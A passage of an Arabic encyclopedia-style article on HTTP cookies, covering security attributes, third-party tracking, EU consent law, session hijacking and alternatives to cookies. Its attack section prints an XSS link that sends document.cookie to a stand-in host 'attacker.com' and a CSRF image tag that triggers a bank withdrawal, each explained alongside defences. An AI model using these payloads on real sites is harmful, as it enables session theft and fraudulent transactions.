إلى إبقاء اتصال ملفات تعريف الارتباط مقصوراً على الإرسال المشفر، وتوجيه المتصفحات لاستخدام ملفات تعريف الارتباط فقط عبر اتصالات آمن/مشفر. ومع ذلك، إذا قام خادم الويب بتعيين ملف تعريف ارتباط بسمة آمنة من اتصال غير آمن، فلا يزال من الممكن اعتراض ملف تعريف الارتباط عند إرساله إلى المستخدم عن طريق هجوم الوسيط. لذلك، لتحقيق أقصى قدر من الأمان، يجب تعيين ملفات تعريف الارتباط ذات السمة الآمنة فقط عبر اتصال آمن.
توجه السمة HttpOnly
المتصفحات إلى عدم عرض ملفات تعريف الارتباط عبر قنوات أخرى غير طلبات HTTP (وHTTPS). هذا يعني أنه لا يمكن الوصول إلى ملف تعريف الارتباط عبر لغات البرمجة النصية من جانب العميل (لا سيما جاڤاسكريپت)، وبالتالي لا يمكن سرقتها بسهولة عبر البرمجة النصية عبر المواقع (أسلوب هجوم واسع الانتشار).[45]
إعدادات المتصفح
تدعم معظم المتصفحات الحديثة ملفات تعريف الارتباط وتسمح للمستخدم بتعطيلها. فيما يلي خيارات شائعة:[46]
- لتمكين ملفات تعريف الارتباط أو تعطيلها تماماً، بحيث يتم قبولها دائماً أو حظرها دائماً.
- لعرض ملفات تعريف الارتباط وحذفها بشكل انتقائي باستخدام مدير ملفات تعريف الارتباط.
- لمسح جميع البيانات الخاصة بالكامل، بما في ذلك ملفات تعريف الارتباط.
توجد أيضاً أدوات إضافية لإدارة أذونات ملفات تعريف الارتباط.[47][48][49][50]
الخصوصية وملفات تعريف ارتباط الطرف الثالث
تحتوي ملفات تعريف الارتباط على بعض الآثار المهمة على خصوصية مستخدمي الوب وإخفاء هويتهم. بينما يتم إرسال ملفات تعريف الارتباط فقط إلى الخادم الذي يقوم بإعدادها أو إلى خادم في نفس مجال الإنترنت، قد تحتوي صفحة الوب على صور أو مكونات أخرى مخزنة على خوادم في مجالات أخرى. تسمى ملفات تعريف الارتباط التي يتم تعيينها أثناء استرداد هذه المكونات ملفات تعريف ارتباط الطرف الثالث. تحدد المعايير القديمة لملفات تعريف الارتباط، RFC 2109 و RFC 2965، أن المتصفحات يجب أن تحمي خصوصية المستخدم ولا تسمح بمشاركة ملفات تعريف الارتباط بين الخوادم افتراضياً. ومع ذلك، فإن المعيار الأحدث، RFC 6265، يسمح صراحة لوكلاء المستخدم بتنفيذ أي سياسة ملفات تعريف ارتباط لطرف ثالث يرغبون فيها. تسمح معظم المتصفحات، مثل موزيلا فايرفوكس وإنترنت إكسپلورر وأوپرا وگوگل كروم، بملفات تعريف الارتباط للجهات الخارجية افتراضياً، طالما كما نشر موقع الطرف الثالث سياسة الخصوصية المضغوطة. وتحظر الإصدارات الأحدث من سفاري ملفات تعريف الارتباط للجهات الخارجية، وهذا مخطط له أيضاً مع موزيلا فايرفوكس (مخطط مبدئياً للإصدار 22 ولكن تم تأجيله إلى أجل غير مسمى).[51]
تستخدم شركات الإعلان ملفات تعريف ارتباط الطرف الثالث لتتبع المستخدم عبر مواقع متعددة. على وجه الخصوص، يمكن لشركة إعلانات تتبع المستخدم عبر جميع الصفحات التي وضعت فيها صوراً إعلانية أو web bug. تسمح معرفة الصفحات التي يزورها المستخدم لشركة الإعلان باستهداف الإعلانات لتفضيلات المستخدم المفترضة.
يتعرض مشغلو مواقع الوب الذين لا يكشفون عن استخدام ملفات تعريف الارتباط للجهات الخارجية للمستهلكين لخطر الإضرار بثقة المستهلك إذا تم اكتشاف استخدام ملفات تعريف الارتباط. يميل وجود إفشاء واضح (كما هو الحال في سياسة الخصوصية) إلى إزالة أي آثار سلبية لاكتشاف ملفات تعريف الارتباط هذه.[52]
تشكل إمكانية إنشاء ملف تعريف للمستخدمين تهديداً للخصوصية، خاصةً عند إجراء التتبع عبر نطاقات متعددة باستخدام ملفات تعريف ارتباط الطرف الثالث. لهذا السبب، لدى بعض البلدان تشريعات بشأن ملفات تعريف الارتباط.
وضعت حكومة الولايات المتحدة قواعد صارمة بشأن تعيين ملفات تعريف الارتباط في عام 2000 بعد أن تم الكشف عن أن البيت الأبيض مكتب سياسة المخدرات استخدم ملفات تعريف الارتباط لتتبع مستخدمي الحاسب الذين يشاهدون برامج مكافحة الإعلان عن المخدرات. في عام 2002، اكتشف الناشط المتعلق بالخصوصية دانييل برانت أن CIA تركت ملفات تعريف ارتباط دائمة على أجهزة الحاسب التي زارت موقعها على الإنترنت. عندما تم إخطارها بأنها تنتهك السياسة، ذكرت وكالة المخابرات المركزية أن ملفات تعريف الارتباط هذه لم يتم تعيينها عن قصد وتوقفت عن تعيينها.[53] في 25 ديسمبر 2005، اكتشف براندت أن وكالة الأمن القومي (NSA) تركت اثنين من ملفات تعريف الارتباط الدائمة على أجهزة الحاسب الزوار بسبب ترقية البرنامج. بعد إبلاغها، قامت وكالة الأمن القومي على الفور بتعطيل ملفات تعريف الارتباط.[54]
توجيهات الاتحاد الأوروبي الخاصة بملفات تعريف الارتباط
في عام 2002، أطلق الاتحاد الأوروبي التوجيه بشأن الخصوصية والاتصالات الإلكترونية (توجيه الخصوصية الإلكترونية)، وهي سياسة تتطلب موافقة المستخدمين النهائيين على وضع ملفات تعريف الارتباط والتقنيات المماثلة لتخزين المعلومات والوصول إليها على أجهزة المستخدمين.[55][56] على وجه الخصوص، تنص المادة 5 الفقرة 3 على أنه لا يمكن تخزين البيانات غير الضرورية تقنياً على حاسب المستخدم إلا إذا تم تزويد المستخدم بمعلومات حول كيفية استخدام هذه البيانات، وتم منح المستخدم إمكانية رفض عملية التخزين هذه. لا يتطلب التوجيه من المستخدمين التصريح أو تقديم إشعار باستخدام ملفات تعريف الارتباط المطلوبة وظيفياً لتقديم خدمة طلبوها، على سبيل المثال للاحتفاظ بالإعدادات أو جلسات تسجيل الدخول إلى المتجر أو تذكر ما هو موجود في سلة التسوق الخاصة بالمستخدم.[57]
في عام 2009، تم تعديل القانون بموجب التوجيه 2009/136/EC، والذي تضمن تغيير المادة 5، الفقرة 3. بدلاً من وجود خيار للمستخدمين لإلغاء الاشتراك في تخزين ملفات تعريف الارتباط، يتطلب التوجيه المنقح الحصول على الموافقة على ملفات تعريف الارتباط تخزين.[56] تمت الإشارة إلى تعريف الموافقة على التعريف الوارد في قانون حماية البيانات الأوروبي، أولاً توجيه حماية البيانات لعام 1995 وبعد ذلك [[General Data Protection Regulation |اللائحة العامة لحماية البيانات]] (GDPR). نظراً لتعزز تعريف الموافقة في نص اللائحة العامة لحماية البيانات، فقد أدى ذلك إلى زيادة جودة الموافقة المطلوبة من قبل أولئك الذين يقومون بتخزين المعلومات والوصول إليها مثل ملفات تعريف الارتباط على أجهزة المستخدمين. في قضية تم البت فيها بموجب توجيه حماية البيانات، أكدت محكمة العدل في الاتحاد الأوروبي لاحقاً أن القانون السابق تضمن نفس الجودة القوية للموافقة مثل الأداة الحالية.[58] بالإضافة إلى شرط الموافقة الذي ينبع من تخزين المعلومات أو الوصول إليها على الجهاز الطرفي للمستخدم، ستُعتبر المعلومات الموجودة في العديد من ملفات تعريف الارتباط بيانات شخصية بموجب القانون العام لحماية البيانات (GDPR) وحدها ، وستتطلب أساسًا قانونيًا للمعالجة. كان هذا هو الحال منذ توجيه حماية البيانات لعام 1995، والذي استخدم تعريفاً متطابقاً للبيانات الشخصية، على الرغم من أن القانون العام لحماية البيانات (GDPR) في التفسير Recital 30 يوضح أن معرفات ملفات تعريف الارتباط مدرجة. في حين أن معالجة البيانات بموجب القانون العام لحماية البيانات ليست كلها تتطلب الموافقة، فإن خصائص الإعلان السلوكي تعني أنه من الصعب أو المستحيل تبريره تحت أي أساس آخر.[59][60]
يجب أن تستوفي الموافقة بموجب مجموعة من اللائحة العامة لحماية البيانات وتوجيه الخصوصية الإلكترونية عدداً من الشروط المتعلقة بملفات تعريف الارتباط.[61]يجب أن يتم تقديمها مجاناً ولا لبس فيها: تم حظر الصناديق الجاهزة بموجب كل من توجيه حماية البيانات 1995[58] واللائحة العامة لحماية البيانات (Recital 32).[62]تُحدد اللائحة العامة لحماية البيانات (GDPR) بأن الموافقة يجب أن تكون "سهلة السحب بقدر ما تمنح"،[62]مما يعني أنه يجب أن يكون الوصول إلى زر رفض الكل سهلاً من حيث النقرات والرؤية مثل زر "قبول الكل".[61] ويجب أن تكون محددة ومستنيرة، بمعنى أن الموافقة تتعلق بأغراض معينة لاستخدام هذه البيانات، ويجب تسمية جميع المنظمات التي تسعى لاستخدام هذه الموافقة على وجه التحديد.[63][64]كما قضت محكمة العدل في الاتحاد الأوروبي بأن الموافقة يجب أن تكون "فعالة وفي الوقت المناسب"، مما يعني أنه يجب الحصول عليها قبل وضع ملفات تعريف الارتباط وبدء معالجة البيانات بدلاً من بعد ذلك.[65]
كانت استجابة الصناعة سلبية إلى حد كبير. يصف روبرت بوند من مكتب المحاماة سپيتشلي برشام الآثار بأنها "بعيدة المدى ومرهقة بشكل لا يصدق" على "جميع الشركات البريطانية". يجادل سايمون ديفيس من الخصوصية الدولية بأن التطبيق المناسب من شأنه أن "يدمر الصناعة بأكملها".[66] ومع ذلك، يلاحظ العلماء أن الطبيعة المرهقة للنوافذ المنبثقة لملفات تعريف الارتباط تنبع من محاولة الاستمرار في تشغيل نموذج أعمال من خلال الطلبات المعقدة التي قد تكون غير متوافقة مع التنظيم العام لحماية البيانات (GDPR).[59]
تصف الدراسات الأكاديمية والمنظمون على حد سواء عدم الامتثال الواسع النطاق للقانون. وجدت دراسة استخلصت 10000 موقع وب بريطاني أن 11.8٪ فقط من المواقع تلتزم بالحد الأدنى من المتطلبات القانونية، مع 33.4٪ فقط من المواقع التي تمت دراستها وتوفر آلية لرفض ملفات تعريف الارتباط التي كانت سهلة الاستخدام مثل قبولها.[61] وجدت دراسة أجريت على 17000 موقع أن 84٪ من المواقع قد انتهكت هذا المعيار، ووجدت بالإضافة إلى ذلك أن العديد من ملفات تعريف الارتباط الخاصة بطرف ثالث بدون إشعار على الإطلاق.[67]صرح المنظم في المملكة المتحدة، مكتب مفوض المعلومات، في عام 2019 أن "إطار الشفافية والموافقة" الخاص بالصناعة من مجموعة تكنولوجيا الإعلان مكتب الإعلان التفاعلي كان "غير كافٍ لضمان الشفافية والمعالجة العادلة للملفات الشخصية البيانات المعنية وبالتالي غير كافية لتوفير الموافقة الحرة والمستنيرة، مع ما يصاحب ذلك من آثار على الامتثال [الخصوصية الإلكترونية] PECR.'[63] تسمح العديد من الشركات التي تبيع حلول الامتثال (منصات إدارة الموافقة) بتكوينها بطرق غير قانونية بشكل واضح، والتي لاحظ العلماء أنها تخلق أسئلة حول التخصيص المناسب للمسؤولية.[68]
اقتُرحت مواصفات W3C المسماة P3P للخوادم لتوصيل سياسة الخصوصية الخاصة بهم إلى المتصفحات، مما يسمح بالتعامل التلقائي القابل للتكوين بواسطة المستخدم. ومع ذلك، هناك عدد قليل من مواقع الوب التي تطبق المواصفات، ولا تدعمها أي متصفحات رئيسية، وتوقف W3C عن العمل على المواصفات.[69]
يمكن لمعظم المتصفحات حظر ملفات تعريف الارتباط للجهات الخارجية لزيادة الخصوصية وتقليل التتبع من خلال شركات الإعلان والتتبع دون التأثير سلباً على تجربة الوب للمستخدم على جميع المواقع. تعمل بعض المواقع على "جدران ملفات تعريف الارتباط"، مما يجعل الوصول إلى الموقع مشروطاً بالسماح لملفات تعريف الارتباط إما تقنياً في المتصفح، من خلال الضغط على "قبول" أو كليهما.[70] في عام 2020، صرح مجلس حماية البيانات الأوروبي، المؤلف من جميع منظمي حماية البيانات في الاتحاد الأوروبي، أن جدران ملفات تعريف الارتباط كانت غير قانونية.
من أجل الحصول على الموافقة بحرّية، يجب ألا يكون الوصول إلى الخدمات والوظائف مشروطاً بموافقة المستخدم على تخزين المعلومات، أو الوصول إلى المعلومات المخزنة بالفعل، في المعدات الطرفية للمستخدم (ما يسمى جدران ملفات تعريف الارتباط).[71]
لدى العديد من مشغلي الإعلانات خيار إلغاء الاشتراك في الإعلانات السلوكية، مع وجود ملف تعريف ارتباط عام في المتصفح يوقف الإعلانات السلوكية.[72][73] ومع ذلك، غالباً ما يكون هذا غير فعال ضد العديد من أشكال التتبع، مثل تتبع الطرف الأول الذي تزداد شعبيته لتجنب تأثير المتصفحات التي تحظر ملفات تعريف ارتباط الطرف الثالث.[74][75] علاوة على ذلك، إذا كان وضع مثل هذا الإعداد أكثر صعوبة من قبول التتبع، فإنه يظل مخالفاً لشروط توجيه الخصوصية الإلكترونية.[61]
سرقة ملفات تعريف الارتباط واختطاف الجلسة
تستخدم معظم مواقع الوب ملفات تعريف الارتباط باعتبارها المعرفات الوحيدة لجلسات المستخدم، لأن الطرق الأخرى لتحديد مستخدمي الوب بها قيود ونقاط ضعف. إذا كان أحد مواقع الوب يستخدم ملفات تعريف الارتباط كمعرفات للجلسة، فيمكن للمهاجمين انتحال طلبات المستخدمين عن طريق سرقة مجموعة كاملة من ملفات تعريف الارتباط الخاصة بالضحايا. من وجهة نظر خادم الوب، يكون لطلب المهاجم نفس المصادقة مثل طلبات الضحية; وبالتالي يتم تنفيذ الطلب نيابة عن جلسة الضحية.
المدرجة هنا هي سيناريوهات مختلفة لسرقة ملفات تعريف الارتباط واختطاف جلسة المستخدم (حتى بدون سرقة ملفات تعريف الارتباط للمستخدم) التي تعمل مع مواقع الوب التي تعتمد فقط على ملفات تعريف الارتباط HTTP لتحديد هوية المستخدم.
التنصت على الشبكة
يمكن اعتراض حركة المرور على الشبكة وقراءتها بواسطة أجهزة الحاسب الموجودة على الشبكة بخلاف المرسل والمستقبل (خاصةً عبر غير مشفر مفتوح واي فاي). تتضمن حركة المرور هذه ملفات تعريف الارتباط المرسلة في جلسات HTTP العادية غير المشفرة. في حالة عدم تشفير حركة مرور الشبكة، يمكن للمهاجمين قراءة اتصالات المستخدمين الآخرين على الشبكة، بما في ذلك ملفات تعريف ارتباط HTTP بالإضافة إلى المحتويات الكاملة للمحادثات، بغرض هجوم رجل في الوسط .
يمكن للمهاجم استخدام ملفات تعريف الارتباط التي تم اعتراضها لانتحال شخصية المستخدم وتنفيذ مهمة ضارة، مثل تحويل الأموال من الحساب المصرفي للضحية.
يمكن حل هذه المشكلة عن طريق تأمين الاتصال بين حاسب المستخدم والخادم من خلال استخدام بروتوكول أمن طبقة النقل (HTTPS) لتشفير الاتصال. يمكن للخادم تحديد علامة Secure
أثناء تعيين ملف تعريف الارتباط، مما سيجعل المتصفح يرسل ملف تعريف الارتباط فقط عبر قناة مشفرة، مثل اتصال TLS.[33]
نشر المجال الفرعي الخاطئ: إفساد الذاكرة المخبئية لنظام أسماء النطاقات
إذا كان المهاجم قادراً على جعل خادم نظام أسماء النطاقات يقوم بتخزين إدخال DNS مفتعل مؤقت (يسمى إفساد الذاكرة المخبئية لنظام أسماء النطاقات)، فقد يسمح هذا للمهاجم بالوصول إلى ملفات تعريف الارتباط الخاصة بالمستخدم. على سبيل المثال، يمكن للمهاجم استخدام إفساد الذاكرة المخبئية لنظام أسماء النطاقات لإنشاء إدخال DNS مصطنع لـ f12345.www.example.com
يشير إلى عنوان آي پي لخادم المهاجم. يمكن للمهاجم بعد ذلك نشر عنوان URL للصورة من الخادم الخاص به (على سبيل المثال، http://f12345.www.example.com/img_4_cookie.jpg
). يمكن للضحايا الذين يقرؤون رسالة المهاجم تنزيل هذه الصورة من f12345.www.example.com
.f12345.www.example.com
. نظراً لأن f12345.www.example.com
نطاق فرعي لـ www.example.com
، فإن متصفحات الضحايا ترسل جميع www.example.com
- ملفات تعريف الارتباط مرتبطة بخادم المهاجم.
إذا تمكن المهاجم من تحقيق ذلك، فعادةً ما يكون ذلك خطأ من مزود خدمة الإنترنت لعدم تأمين خوادم DNS الخاصة بهم بشكل صحيح. ومع ذلك، يمكن تقليل شدة هذا الهجوم إذا كان موقع الوب المستهدف يستخدم ملفات تعريف الارتباط الآمنة. في هذه الحالة، سيواجه المهاجم تحدياً إضافياً[76] للحصول على شهادة TLS الخاصة بالموقع الإلكتروني المستهدف من هيئة الشهادات، حيث لا يمكن نقل ملفات تعريف الارتباط الآمنة إلا عبر اتصال مشفر. بدون مطابقة شهادة TLS، ستعرض متصفحات الضحايا رسالة تحذير حول الشهادة غير الصالحة للمهاجم، والتي من شأنها أن تساعد في ردع المستخدمين عن زيارة موقع الوب الاحتيالي للمهاجم وإرسال ملفات تعريف الارتباط الخاصة به إلى المهاجم.
البرمجة النصية عبر المواقع: سرقة ملفات تعريف الارتباط
يمكن أيضاً سرقة ملفات تعريف الارتباط باستخدام تقنية تسمى البرمجة النصية عبر المواقع. يحدث هذا عندما يستغل المهاجم موقع وب يسمح لمستخدميه بنشر محتوى HTML وجاڤاسكريپت غير مرشح. من خلال نشر شفرة HTML وجاڤاسكريپت ضارة، يمكن للمهاجم أن يتسبب في قيام متصفح الوب الخاص بالضحية بإرسال ملفات تعريف الارتباط الخاصة بالضحية إلى موقع وب يتحكم فيه المهاجم.
كمثال، قد ينشر المهاجم رسالة على www.example.com
بالرابط التالي:
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
عندما ينقر مستخدم آخر على هذا الرابط، ينفذ المتصفح جزء الرمز داخل السمة onclick
، وبالتالي يستبدل السلسلة document.cookie
بقائمة ملفات تعريف الارتباط التي يمكن الوصول إليها من الصفحة الحالية. نتيجة لذلك، يتم إرسال قائمة ملفات تعريف الارتباط هذه إلى خادم attacker.com
. إذا كان النشر الضار للمهاجم موجوداً على موقع وب https://www.example.com
، فسيتم أيضاً إرسال ملفات تعريف الارتباط الآمنة إلى موقع attacker.com بنص عادي.
تقع على عاتق مطوري مواقع الوب مسؤولية تصفية هذه التعليمات البرمجية الضارة.
يمكن التخفيف من مثل هذه الهجمات باستخدام ملفات تعريف الارتباط HttpOnly. لن يمكن الوصول إلى ملفات تعريف الارتباط هذه بواسطة لغات البرمجة النصية من جانب العميل مثل جاڤاسكريپت، وبالتالي، لن يتمكن المهاجم من جمع ملفات تعريف الارتباط هذه.
البرمجة النصية عبر المواقع: طلب وكيل
في الإصدارات القديمة من العديد من المتصفحات، كانت هناك ثغرات أمنية في تنفيذ XMLHttpRequest API. تسمح واجهة برمجة التطبيقات هذه للصفحات بتحديد خادم وكيل يتلقى الرد، ولا يخضع هذا الخادم الوكيل لسياسة المصدر الأوحد. على سبيل المثال، تقرأ الضحية ما نشره المهاجم على www.example.com
، ويتم تنفيذ نص المهاجم في متصفح الضحية. ينشئ البرنامج النصي طلبًا لـwww.example.com
من خلال الخادم الوكيل attacker.com
. نظراً لأن الطلب خاص بـ www.example.com
، فسيتم إرسال جميع ملفات تعريف الارتباطwww.example.com
مع الطلب، ولكن سيتم توجيهها عبر الخادم الوكيل للمهاجم. وبالتالي، سيكون المهاجم قادراً على كسب ملفات تعريف الارتباط الخاصة بالضحية.
لن يعمل هذا الهجوم مع ملفات تعريف الارتباط الآمنة، حيث لا يمكن نقلها إلا عبر اتصالات HTTPS، ويفرض بروتوكول HTTPS تشفير من طرف إلى طرف (أي يتم تشفير المعلومات على متصفح المستخدم وفك تشفيرها على الخادم الوجهة). في هذه الحالة، لن يرى الخادم الوكيل سوى وحدات البايت الأولية المشفرة لطلب HTTP.
تزوير الطلب عبر المواقع
على سبيل المثال، قد يكون بوب يتصفح منتدى دردشة حيث قام مستخدم آخر، مالوري، بنشر رسالة. لنفترض أن مالوري قد صممت عنصر صورة HTML يشير إلى إجراء على موقع بنك بوب (بدلاً من ملف صورة)، على سبيل المثال،
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
إذا احتفظ بنك بوب بمعلومات المصادقة الخاصة به في ملف تعريف ارتباط، وإذا لم تنته صلاحية ملف تعريف الارتباط، فإن محاولة متصفح بوب لتحميل الصورة سترسل نموذج السحب مع ملف تعريف الارتباط الخاص به، وبالتالي تفويض المعاملة دون موافقة بوب.
سرقة ملقات تعريف الارتباط
تعد سرقة ملفات تعريف الارتباط Cookiejacking هجوماً ضد إنترنت إكسپلورر والذي يسمح للمهاجم بسرقة ملف تعريف ارتباط الجلسة للمستخدم عن طريق خداع المستخدم لسحب أداة عبر الشاشة.[77]اعتبرت مايكروسوفت الخلل منخفض المخاطر بسبب "مستوى تفاعل المستخدم المطلوب"،[77] وضرورة تسجيل دخول مستخدم بالفعل إلى موقع الوب الذي تمت سرقة ملف تعريف الارتباط الخاص به.[78] بالرغم من ذلك، حاول أحد الباحثين الهجوم على 150 من أصدقائهم على فيسبوك وحصل على ملفات تعريف ارتباط لـ 80 منهم عبر الهندسة الاجتماعية.[77]
عيوب ملفات تعريف الارتباط
إلى جانب مخاوف الخصوصية، تحتوي ملفات تعريف الارتباط أيضاً على بعض العيوب الفنية. على وجه الخصوص، لا تحدد دائماً المستخدمين بدقة، ويمكن استخدامها في الهجمات الأمنية، وغالباً ما تكون على خلاف مع النمط المعماري (البنيوي) لبرنامج النقل التمثيلي للدولة ( REST).[79][80]
التحديد الغير دقيق
إذا استُخدم أكثر من متصفح واحد على جهاز الحاسب، فعادةً ما يكون لكل متصفح مساحة تخزين منفصلة لملفات تعريف الارتباط. ومن ثم، فإن ملفات تعريف الارتباط لا تحدد هوية الشخص، بل هي عبارة عن مزيج من حساب مستخدم وجهاز حاسب ومتصفح وب. وبالتالي، فإن أي شخص يستخدم حسابات أو أجهزة حاسب أو متصفحات متعددة لديه مجموعات متعددة من ملفات تعريف الارتباط.[81]
وبالمثل، لا تفرق ملفات تعريف الارتباط بين عدة مستخدمين يشتركون في نفس حساب المستخدم والحاسب والمتصفح.
حالة غير متسقة على العميل والخادم
قد يؤدي استخدام ملفات تعريف الارتباط إلى حدوث تضارب بين حالة العميل والحالة المخزنة في ملف تعريف الارتباط. إذا حصل المستخدم على ملف تعريف ارتباط ثم نقر على الزر "رجوع" في المتصفح، فإن الحالة على المتصفح بشكل عام ليست هي نفسها قبل عملية الاستحواذ هذه. على سبيل المثال، إذا تم إنشاء عربة التسوق لمتجر عبر الإنترنت باستخدام ملفات تعريف الارتباط، فقد لا يتغير محتوى سلة التسوق عندما يعود المستخدم إلى سجل المتصفح: إذا ضغط المستخدم على زر لإضافة عنصر في عربة التسوق و ثم ينقر على زر "رجوع"، يبقى العنصر في سلة التسوق. قد لا يكون هذا هو نية المستخدم، الذي ربما أراد التراجع عن إضافة العنصر. يمكن أن يؤدي هذا إلى عدم الموثوقية والارتباك والأخطاء. لذلك يجب أن يكون مطورو الويب على دراية بهذه المشكلة وتنفيذ تدابير للتعامل مع مثل هذه المواقف.
بدائل ملفات تعريف الارتباط
يمكن أيضاً إجراء بعض العمليات التي يمكن إجراؤها باستخدام ملفات تعريف الارتباط باستخدام آليات أخرى.
رموز جسون وب
رموز جسون وب (JWT) عبارة عن حزمة معلومات قائمة بذاتها يمكن استخدامها لتخزين هوية المستخدم ومعلومات المصداقية. وهذا يسمح باستخدامها بدلاً من ملفات تعريف الارتباط للجلسة. على عكس ملفات تعريف الارتباط، التي يتم إرفاقها تلقائياً بكل طلب HTTP بواسطة المستعرض، يجب إرفاق JWTs صراحةً بكل طلب HTTP بواسطة تطبيق الوب.
مصادقة HTTP
يتضمن پروتوكول HTTP پروتوكولات مصادقة الوصول الأساسية ومصادقة الوصول الموجز، والتي تسمح بالوصول إلى صفحة الوب فقط عندما يقدم المستخدم اسم المستخدم وكلمة المرور الصحيحين. إذا كان الخادم يتطلب بيانات الاعتماد هذه لمنح الوصول إلى صفحة وب، فإن المتصفح يطلبها من المستخدم، وبمجرد الحصول عليها، يقوم المتصفح بتخزينها وإرسالها في كل طلب صفحة لاحق. ويمكن استخدام هذه المعلومات لتتبع المستخدم.
عنوان آي پي
قد يتم تعقب بعض المستخدمين بناءً على عنوان آي پي للحاسب الذي يطلب الصفحة. يعرف الخادم عنوان IP للحاسب الذي يقوم بتشغيل المتصفح (أو الپروكسي، إذا تم استخدام أي منها) ويمكنه نظرياً ربط جلسة المستخدم بعنوان IP هذا.
ومع ذلك، فإن عناوين IP بشكل عام ليست طريقة موثوقة لتتبع جلسة أو تحديد مستخدم. توجد العديد من أجهزة الحاسب المصممة للاستخدام من قبل مستخدم واحد، مثل أجهزة الحاسب المكتبية أو أجهزة الحاسب المنزلية، خلف مترجم عناوين الشبكة (NAT). هذا يعني أن العديد من أجهزة الحاسب ستشارك عنوان IP عام. علاوة على ذلك، تم تصميم بعض الأنظمة، مثل تور، للاحتفاظ بـ إخفاء هوية الإنترنت، مما يجعل التتبع بواسطة عنوان IP غير عملي أو مستحيل أو يمثل مخاطرة أمنية.
URL (سلسلة الاستعلام)
تعتمد تقنية أكثر دقة على تضمين المعلومات في عناوين URL. الجزء سلسلة الاستعلام من URL هو الجزء المستخدم عادةً لهذا الغرض، ولكن يمكن استخدام الأجزاء الأخرى أيضاً. تستخدم آليات الجلسة جاڤا سرڤلت وبي.إتش.بي هذه الطريقة إذا لم يتم تمكين ملفات تعريف الارتباط.
تتكون هذه الطريقة من خادم الوب الذي يقوم بإلحاق سلاسل الاستعلام التي تحتوي على معرف جلسة فريد لجميع الروابط الموجودة داخل صفحة الوب. عندما يتبع المستخدم رابطاً، يرسل المتصفح سلسلة الاستعلام إلى الخادم، مما يسمح للخادم بتحديد المستخدم والحفاظ على الحالة.
تتشابه هذه الأنواع من سلاسل الاستعلام إلى حد كبير مع ملفات تعريف الارتباط من حيث أن كلاهما يحتوي على أجزاء عشوائية من المعلومات التي يختارها الخادم ويتم إرسال كلاهما مرة أخرى إلى الخادم عند كل طلب. ومع ذلك، هناك بعض الاختلافات. نظراً لأن سلسلة الاستعلام جزء من عنوان URL، إذا تمت إعادة استخدام عنوان URL هذا لاحقاً، فسيتم إرسال نفس المعلومات المرفقة إلى الخادم، مما قد يؤدي إلى حدوث ارتباك. على سبيل المثال، إذا تم ترميز تفضيلات المستخدم في سلسلة الاستعلام الخاصة بعنوان URL وأرسل المستخدم عنوان URL هذا إلى مستخدم آخر عن طريق البريد الإلكتروني، فسيتم استخدام هذه التفضيلات لهذا المستخدم الآخر أيضاً.
علاوة على ذلك، إذا قام المستخدم نفسه بالوصول إلى نفس الصفحة عدة مرات من مصادر مختلفة، فلا يوجد ضمان باستخدام نفس سلسلة الاستعلام في كل مرة. على سبيل المثال، إذا قام أحد المستخدمين بزيارة إحدى الصفحات عن طريق القدوم من صفحة "داخلية للموقع" في المرة الأولى، ثم زار نفس الصفحة بالقدوم من محرك بحث خارجي في المرة الثانية، فمن المحتمل أن تكون سلاسل طلب البحث مختلفة. إذا تم استخدام ملفات تعريف الارتباط في هذه الحالة، فستكون ملفات تعريف الارتباط هي نفسها.
العيوب الأخرى لسلاسل الاستعلام تتعلق بالأمان. يتيح تخزين البيانات التي تحدد جلسة في سلسلة استعلام هجمات تثبيت الجلسة وهجمات التسجيل الإحالة وغيرها من استغلالات الأمان. يعد نقل معرِّفات الجلسة مثل ملفات تعريف ارتباط HTTP أكثر أماناً.
حقول نماذج الوب المخفية
شكل آخر لتتبع الجلسة هو استخدام نماذج الوب مع الحقول المخفية. تشبه هذه التقنية إلى حد كبير استخدام سلاسل استعلام URL للاحتفاظ بالمعلومات ولها العديد من المزايا والعيوب نفسها. في الواقع، إذا تم التعامل مع النموذج باستخدام طريقة GET HTTP، فإن هذه التقنية تشبه استخدام سلاسل استعلام URL، نظراً لأن طريقة GET تضيف حقول النموذج إلى عنوان URL كسلسلة استعلام. ولكن يتم التعامل مع معظم النماذج باستخدام HTTP POST، مما يؤدي إلى إرسال معلومات النموذج، بما في ذلك الحقول المخفية، في نص طلب HTTP، والذي لا يعد جزءاً من عنوان URL ولا من ملف تعريف الارتباط.
يقدم هذا النهج ميزتين من وجهة نظر المتعقب. أولاً، وضع معلومات التتبع في نص طلب HTTP بدلاً من عنوان URL يعني أنه لن يلاحظها المستخدم العادي. ثانياً، لا يتم نسخ معلومات الجلسة عندما ينسخ المستخدم عنوان URL (لوضع إشارة مرجعية على الصفحة أو إرسالها عبر البريد الإلكتروني، على سبيل المثال).
خاصية DOM "window.name"
يمكن لجميع متصفحات الوب الحالية تخزين قدر كبير نسبياً من البيانات (2–32 MB) عبر جاڤاسكريپت باستخدام خاصية [[نموذج كائن المستند
| DOM]] window.name
. يمكن استخدام هذه البيانات بدلاً من ملفات تعريف الارتباط للجلسة وهي أيضاً متعددة المجالات. يمكن أن تقترن التقنية بكائنات جسون/جاڤاسكريپت لتخزين مجموعات معقدة من متغيرات الجلسة[82] على جانب العميل.
الجانب السلبي هو أن كل نافذة منفصلة أو علامة تبويب ستحتوي في البداية على خاصية window.name
فارغة عند فتحها. علاوة على ذلك، يمكن استخدام الخاصية لتتبع الزوار عبر مواقع الويب المختلفة، مما يجعلها مصدر قلق لخصوصية الإنترنت.
في بعض النواحي، يمكن أن يكون هذا أكثر أماناً من ملفات تعريف الارتباط نظراً لحقيقة أن محتوياتها لا يتم إرسالها تلقائياً إلى الخادم عند كل طلب مثل ملفات تعريف الارتباط، لذلك فهي ليست عرضة لهجمات استنشاق ملفات تعريف الارتباط على الشبكة. ومع ذلك، إذا لم يتم اتخاذ تدابير خاصة لحماية البيانات، فإنها تكون عرضة لهجمات أخرى لأن البيانات متاحة عبر مواقع الوب المختلفة المفتوحة في نفس النافذة أو علامة التبويب.
معرّف للمعلنين
تستخدم أپل تقنية تتبع تسمى "معرف المعلنين" (IDFA). تقوم هذه التقنية بتعيين معرف فريد لكل مستخدم يشتري جهاز آي أو إس (أپل) (مثل iآيفون وآي پاد). ثم يتم استخدام هذا المعرف بواسطة شبكة إعلانات أپل، iAd، لتحديد الإعلانات التي يشاهدها الأفراد ويستجيبون لها.[83]
ETag
